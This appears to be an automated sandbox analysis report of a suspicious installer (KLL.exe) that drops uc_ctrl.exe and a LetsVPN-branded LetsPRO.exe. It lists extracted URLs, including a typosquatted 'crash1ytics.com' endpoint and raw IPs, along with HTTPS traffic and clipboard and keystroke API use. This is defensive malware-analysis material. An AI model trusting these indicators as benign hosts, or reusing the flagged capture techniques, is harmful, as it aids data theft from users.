Source: KLL.exe, 00000000.00000003.2164620642.00000228028B1000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr, System.Memory.dll.18.dr, System.Web.Services.Description.resources.dll4.18.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: KLL.exe, 00000000.00000003.2164620642.00000228028B1000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3916788876.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr, System.Memory.dll.18.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: KLL.exe, 00000000.00000003.2164620642.00000228028B1000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr, System.Memory.dll.18.dr, System.Web.Services.Description.resources.dll4.18.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: System.Configuration.ConfigurationManager.dll.18.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: LetsPRO.exe, 00000037.00000002.3917356410.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: KLL.exe, 00000000.00000000.2056290206.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2219203323.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://repository.certum.pl/cscasha2.cer0
Source: KLL.exe, 00000000.00000000.2056290206.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2219203323.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://repository.certum.pl/ctnca.cer0
Source: KLL.exe, 00000000.00000000.2056290206.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2219203323.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: uc_ctrl.exe, 00000010.00000003.2193664495.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: uc_ctrl.exe, 00000010.00000003.2193664495.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: LetsPRO.exe, 00000037.00000002.3917356410.0000000002821000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://schemas.fontawesome.io/icons/
Source: powershell.exe, 00000019.00000002.2447853373.00000000049B6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3917356410.0000000002D5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000016.00000002.2221698842.00000000047EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2447853373.0000000004861000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3917356410.0000000002821000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000019.00000002.2447853373.00000000049B6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3917356410.0000000002D5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: KLL.exe, 00000000.00000000.2056290206.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2219203323.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://subca.ocsp-certum.com01
Source: uc_ctrl.exe, 00000010.00000003.2193664495.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: uc_ctrl.exe, 00000010.00000003.2193664495.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: uc_ctrl.exe, 00000010.00000003.2193664495.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: http://wpfanimatedgif.codeplex.com
Source: LetsPRO.exe, 00000037.00000002.3917356410.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: KLL.exe, 00000000.00000000.2056290206.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2219203323.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.certum.pl/CPS0
Source: LetsPRO.exe, 00000037.00000002.3970917847.0000000031182000.00000002.00000001.01000000.00000032.sdmp, LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.hardcodet.net/taskbar
Source: uc_ctrl.exe, 00000010.00000003.2193664495.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.isimba.cn0
Source: uc_ctrl.exe, 00000010.00000003.2193664495.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: uc_ctrl.exe, 00000010.00000003.2193664495.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: LetsPRO.exe, 00000037.00000002.3956416151.000000000F280000.00000004.00001000.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3957851673.000000000F49E000.00000004.00001000.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3951347123.000000000F022000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://USUS2.CERTIFICATE
Source: LetsPRO.exe, 00000037.00000002.3957851673.000000000F49E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://USUSwww.digicert.com
Source: LetsPRO.exe, 00000037.00000002.3951347123.000000000F022000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://WSASend0.0.0.0%2F0debugWSARecvl
Source: powershell.exe, 00000016.00000002.2221698842.0000000004769000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2221698842.0000000004757000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2447853373.0000000004861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: LetsPRO.exe, 00000037.00000002.3948003758.0000000005B22000.00000002.00000001.01000000.0000001E.sdmp	String found in binary or memory: https://aka.ms/toolkit/dotnet
Source: Squirrel.dll.18.dr	String found in binary or memory: https://api.github.com/#
Source: LetsPRO.exe, 00000037.00000002.3935793905.0000000003BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: LetsPRO.exe, 00000037.00000002.3935793905.0000000003BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: LetsPRO.exe, 00000037.00000002.3935793905.0000000003BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: uc_ctrl.exe, 00000010.00000003.2193664495.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: uc_ctrl.exe, 00000010.00000003.2193664495.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: LetsPRO.exe, 00000037.00000002.3954516398.000000000F14C000.00000004.00001000.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3951347123.000000000F022000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d1dmgcawtbm6l9.cloudfront.net/rest-api
Source: LetsPRO.exe, 00000037.00000002.3954516398.000000000F14C000.00000004.00001000.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3951347123.000000000F022000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d1dmgcawtbm6l9.cloudfront.net/rest-apiedns_client_subnet=0.0.0.0%2F0&name=d1dmgcawtbm6l9.clo
Source: LetsPRO.exe, 00000037.00000002.4065807396.00000000689A9000.00000002.00000001.01000000.00000024.sdmp	String found in binary or memory: https://d1dmgcawtbm6l9.cloudfront.net/rest-apiinvalid
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/3401886-special-settings-for-smartby
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262720-special-settings-for-host-ne
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262786-special-settings-for-express
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262801-special-settings-for-killer-
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8263068-how-to-delete-hosts-in-windo
Source: LetsPRO.exe, 00000037.00000002.3954843620.000000000F198000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://debug0.0.0.0%2F0country
Source: svchost.exe, 0000000C.00000003.2149586526.0000028616263000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 0000000C.00000003.2149586526.00000286161F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: LetsPRO.exe, 00000037.00000002.3948003758.0000000005B22000.00000002.00000001.01000000.0000001E.sdmp	String found in binary or memory: https://github.com/CommunityToolkit/dotnet
Source: LetsPRO.exe, 00000044.00000002.2771481976.0000000005BD2000.00000002.00000001.01000000.0000001D.sdmp	String found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
Source: LetsPRO.exe, 00000037.00000002.3917356410.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: LetsPRO.exe, 00000037.00000002.3949103498.0000000005C02000.00000002.00000001.01000000.00000020.sdmp, System.Memory.dll.18.dr	String found in binary or memory: https://github.com/dotnet/corefx/tree/32b491939fbd125f304031c35038b1e14b4e3958
Source: LetsPRO.exe, 00000037.00000002.3949103498.0000000005C02000.00000002.00000001.01000000.00000020.sdmp, System.Memory.dll.18.dr	String found in binary or memory: https://github.com/dotnet/corefx/tree/32b491939fbd125f304031c35038b1e14b4e39588
Source: LetsPRO.exe, 00000037.00000002.3948725743.0000000005BD2000.00000002.00000001.01000000.00000022.sdmp, System.Threading.Tasks.Extensions.dll.18.dr	String found in binary or memory: https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f
Source: LetsPRO.exe, 00000037.00000002.3948777969.0000000005BD6000.00000002.00000001.01000000.00000022.sdmp, System.Threading.Tasks.Extensions.dll.18.dr	String found in binary or memory: https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f8
Source: System.IO.Pipes.AccessControl.dll.18.dr	String found in binary or memory: https://github.com/dotnet/corefx/tree/7ee84596d92e178bce54c986df31ccc52479e772
Source: System.IO.Pipes.AccessControl.dll.18.dr	String found in binary or memory: https://github.com/dotnet/corefx/tree/7ee84596d92e178bce54c986df31ccc52479e7728
Source: System.Security.Cryptography.Xml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.Configuration.ConfigurationManager.dll.18.dr	String found in binary or memory: https://github.com/dotnet/runtime
Source: Squirrel.dll.18.dr	String found in binary or memory: https://github.com/myuser/myrepo
Source: LetsPRO.exe, 00000037.00000002.3959182025.000000002F702000.00000002.00000001.01000000.00000027.sdmp, LetsPRO.exe, 00000037.00000002.3917356410.0000000002A6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://in.appcenter.ms
Source: LetsPRO.exe, 00000037.00000002.3959182025.000000002F702000.00000002.00000001.01000000.00000027.sdmp	String found in binary or memory: https://in.appcenter.ms./logs?api-version=1.0.0
Source: LetsPRO.exe, 00000037.00000002.3917356410.0000000002B75000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3917356410.0000000002A6F000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4025986389.000000003A308000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://in.appcenter.ms/logs?api-version=1.0.0
Source: letsvpn-latest.exe, 00000012.00000002.2601085872.000000000069B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/-N
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2780068-%E5%A6%82%E4%BD%95%E4%B8%8B%E8%BD%BD%E5%BE%9
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2830420-special-settings-for-killer-networking-produ
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2907649-%E9%80%9A%E8%BF%87%E7%94%B3%E8%BF%B0%E6%89%B
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2925752-how-to-download-letsvpn
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2926044-what-if-i-reached-maximum-connection-limit
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2926062-recover-my-letsvpn-account
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/3081101-adjust-the-settings-for-ipv6
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/articles/3710603-about-logging-in-out-anomalies
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/collections/1611781-%E4%B8%AD%E6%96%87%E5%B8%AE%E5%8A%A9
Source: LetsPRO.exe, 00000037.00000002.3917356410.0000000002821000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/collections/1628560-help-documents
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://intercom.help/letsvpn-world/en/collections/Killer
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://letsvpn.world/privacy.html
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://letsvpn.world/registerterm.html
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://letsvpn.world/terms.html
Source: LetsPRO.exe, 00000037.00000002.3958133511.000000000F51A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.com
Source: LetsPRO.exe, 00000037.00000002.3954054441.000000000F120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.com/app32/device
Source: LetsPRO.exe, 00000037.00000002.3956530645.000000000F298000.00000004.00001000.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3953726646.000000000F10C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.com/app32/devicehttps://nit.crash1ytics.com/app32/device
Source: LetsPRO.exe, 00000037.00000002.3951347123.000000000F026000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.com/app32/devicehttps://nit.crash1ytics.com/app32/deviceHr
Source: LetsPRO.exe, 00000037.00000002.3957702734.000000000F40A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.comLoopback
Source: LetsPRO.exe, 00000037.00000002.3958133511.000000000F51A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.comed0c54f8a56f7e14fa060b39df1db124https://nit.crash1ytics.com
Source: LetsPRO.exe, 00000037.00000002.3951347123.000000000F026000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.comed0c54f8a56f7e14fa060b39df1db124https://nit.crash1ytics.comapplication/js
Source: LetsPRO.exe, 00000037.00000002.3955424629.000000000F1F2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.comed0c54f8a56f7e14fa060b39df1db124https://nit.crash1ytics.comu
Source: LetsPRO.exe, 00000037.00000002.3958133511.000000000F51A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nit.crash1ytics.comed0c54f8a56f7e14fa060b39df1db124https://nit.crash1ytics.comy2
Source: powershell.exe, 00000019.00000002.2455539910.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3935793905.0000000003BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://pngimg.com/uploads/light/light_PNG14440.png
Source: LetsPRO.exe, 00000037.00000002.3957395704.000000000F342000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://postPost142.242.204.31
Source: LetsPRO.exe, 00000037.00000002.3956362568.000000000F278000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://postPost67.137.174.254
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://rdrt.jkjtdfbs.com/letsvpn-world/en/articles/8262690-special-settings-for-intel-connectivity-
Source: KLL.exe, 00000000.00000003.2164620642.00000228028B1000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3944743852.0000000005562000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3945202332.0000000005588000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://widget.intercom.io/widget/
Source: LetsPRO.exe, 00000037.00000002.3959647061.000000002FBDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.catcert.net/verarrel
Source: LetsPRO.exe, 00000037.00000002.3959647061.000000002FBDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.catcert.net/verarrel05
Source: KLL.exe, 00000000.00000000.2056290206.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2219203323.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.certum.pl/CPS0
Source: LetsPRO.exe, 00000048.00000002.2841468405.0000000002CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cnblogs.com/kliine/p/10950992.html
Source: LetsPRO.exe, 00000044.00000002.2771481976.0000000005BD2000.00000002.00000001.01000000.0000001D.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: LetsPRO.exe, 00000044.00000002.2771481976.0000000005BD2000.00000002.00000001.01000000.0000001D.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe

Code function: 16_2_6C669FA0 ?GetClipboardData@COleObject@UiLib@@UAGJKPAPAUIDataObject@@@Z,MessageBoxA,

16_2_6C669FA0

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe

Code function: 16_2_6C696945 GetPropW,GlobalLock,SendMessageW,GlobalUnlock,RemovePropW,GlobalFree,GlobalUnlock,GetAsyncKeyState,SendMessageW,

16_2_6C696945

Source: C:\Windows\System32\mmc.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Windows\System32\mmc.exe	Window created: window name: CLIPBRDWNDCLASS

Source: LetsPRO.exe, 00000037.00000002.4065807396.00000000689A9000.00000002.00000001.01000000.00000024.sdmp

Binary or memory string: is unavailable()<>@,;:\"/[]?=,M3.2.0,M11.1.0-------------- 0601021504Z0700114.114.114.114126.255.255.254169.254.255.255191.255.255.254223.255.255.254255.255.255.248476837158203125: cannot parse : no frame (sp=; SameSite=None<invalid Value>ASCII_Hex_DigitAccept-EncodingAccept-LanguageAccount-ExpiredAccount-TimeoutAddDllDirectoryAddMandatoryAceAreFileApisANSIBP_BUFFERFORMATBackupEventLogWCLSIDFromStringCOLORADJUSTMENTCOMPOSITIONFORMCRYPTOAPI_BLOB_CRYPT_ATTRIBUTECRYPT_ATTR_BLOBCRYPT_DATA_BLOBCRYPT_HASH_BLOBCallWindowProcWClientAuthType(CoInitializeWOWColorAdjustLumaCompareFileTimeControl_RunDLLWCreateDataCacheCreateErrorInfoCreateHardLinkWCreateMailslotWCreateMetaFileWCreatePopupMenuCreateToolbarExCreateWindowExWCryptCreateHashCryptDestroyKeyCryptGetUserKeyCryptMemReallocCryptMsgControlDAD_DragEnterExDESKTOPENUMPROCDdeGetLastErrorDdeQueryStringWDdeUnaccessDataDdeUninitializeDefRawInputProcDefSubclassProcDeleteIPAddressDestinationAddrDeviceIoControlDialogBoxParamWDlgDirSelectExWDnsPolicyConfigDownload-FailedDragAcceptFilesDrawMenuBarTempDrawStatusTextWDrawThemeTextExDuplicateHandleECDSAP256SHA256ECDSAP384SHA384ENG_TIME_FIELDSENUMLOGFONTEXDVENUMRESLANGPROCEXPLICIT_ACCESSEmptyWorkingSetEnableScrollBarEngCreateBitmapEngEraseSurfaceEngFindResourceEngGradientFillEnumEnhMetaFileExcludeClipRectExtCreateRegionFailed to find Failed to load 